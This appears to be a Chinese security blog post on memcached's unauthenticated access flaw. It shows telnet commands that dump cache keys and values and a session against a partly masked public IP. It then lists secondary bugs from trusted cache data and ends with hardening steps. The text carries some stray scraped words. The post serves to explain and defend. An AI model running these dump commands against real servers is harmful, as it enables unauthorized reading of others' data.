1、memcache前端
漏洞描述:memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据一般是应用读取频繁的。正由于内存中数据的读取远远大于硬盘,所以能够用来加速应用的访问。因为memcached安全设计缺陷,客户端链接memcached服务器后无需认证就可读取、修改服务器缓存内容。python
2、手工验证shell
1 #操做指令 2 # stats //查看memcache 服务状态 3 # stats items //查看全部items 4 # stats cachedump 32 0 //得到缓存key 5 # get :state:264861539228401373:261588 //经过key读取相应value,得到实际缓存内容,形成敏感信息泄露
通常端口11211vim
1 Xshell:\> telnet 219.94.193.*** 11211 2 3 4 Connecting to 219.94.193.***:11211... 5 Connection established. 6 Escape character is '^@]'. 7 stats 8 STAT pid 2259 9 STAT uptime 20493827 10 STAT time 1513170227 11 STAT version 1.2.6 12 STAT pointer_size 32 13 STAT rusage_user 501.860705 14 STAT rusage_system 482.892589 15 STAT curr_items 3 16 STAT total_items 4 17 STAT bytes 1503803 18 STAT curr_connections 5 19 STAT total_connections 362 20 STAT connection_structures 7 21 STAT cmd_get 1569 22 STAT cmd_set 4 23 STAT get_hits 1569 24 STAT get_misses 0 25 STAT evictions 0 26 STAT bytes_read 1515293 27 STAT bytes_written 1185375980 28 STAT limit_maxbytes 67108864 29 STAT threads 4 30 END
漏洞利用后端
除memcached中数据可被直接读取泄漏和恶意修改外,因为memcached中的数据像正常网站用户访问提交变量同样会被后端代码处理,当处理代码存在缺陷时会再次致使不一样类型的安全问题。缓存
不一样的是,在处理前端用户直接输入的数据时通常会接受更多的安全校验,而从memcached中读取的数据则更容易被开发者认为是可信的,或者是已经经过安全校验的,所以更容易致使安全问题。安全
因而可知,致使的二次安全漏洞类型通常由memcached数据使用的位置(XSS一般称之为sink)的不一样而不一样,如:服务器
(1)缓存数据未通过滤直接输出可致使XSS;网络
(2)缓存数据未通过滤代入拼接的SQL注入查询语句可致使SQL注入;分布式
(3)缓存数据存储敏感信息(如:用户名、密码),能够经过读取操做直接泄漏;
(4)缓存数据未通过滤直接经过system()、eval()等函数处理可致使命令执行;
(5)缓存数据未通过滤直接在header()函数中输出,可致使CRLF漏洞(HTTP响应拆分)。
修复:
一、配置memcached监听本地回环地址127.0.0.1。
1 [root@local ~]# vim /etc/sysconfig/memcached 2 OPTIONS="-l 127.0.0.1" #设置本地为监听 3 [root@local ~]# /etc/init.d/memcached restart #重启服务
二、当memcached配置为监听内网IP或公网IP时,使用主机防火墙(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤。
三、最小化权限运行
使用普通权限帐号运行,如下指定memcached 用户运行
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
四、配置帐户、密码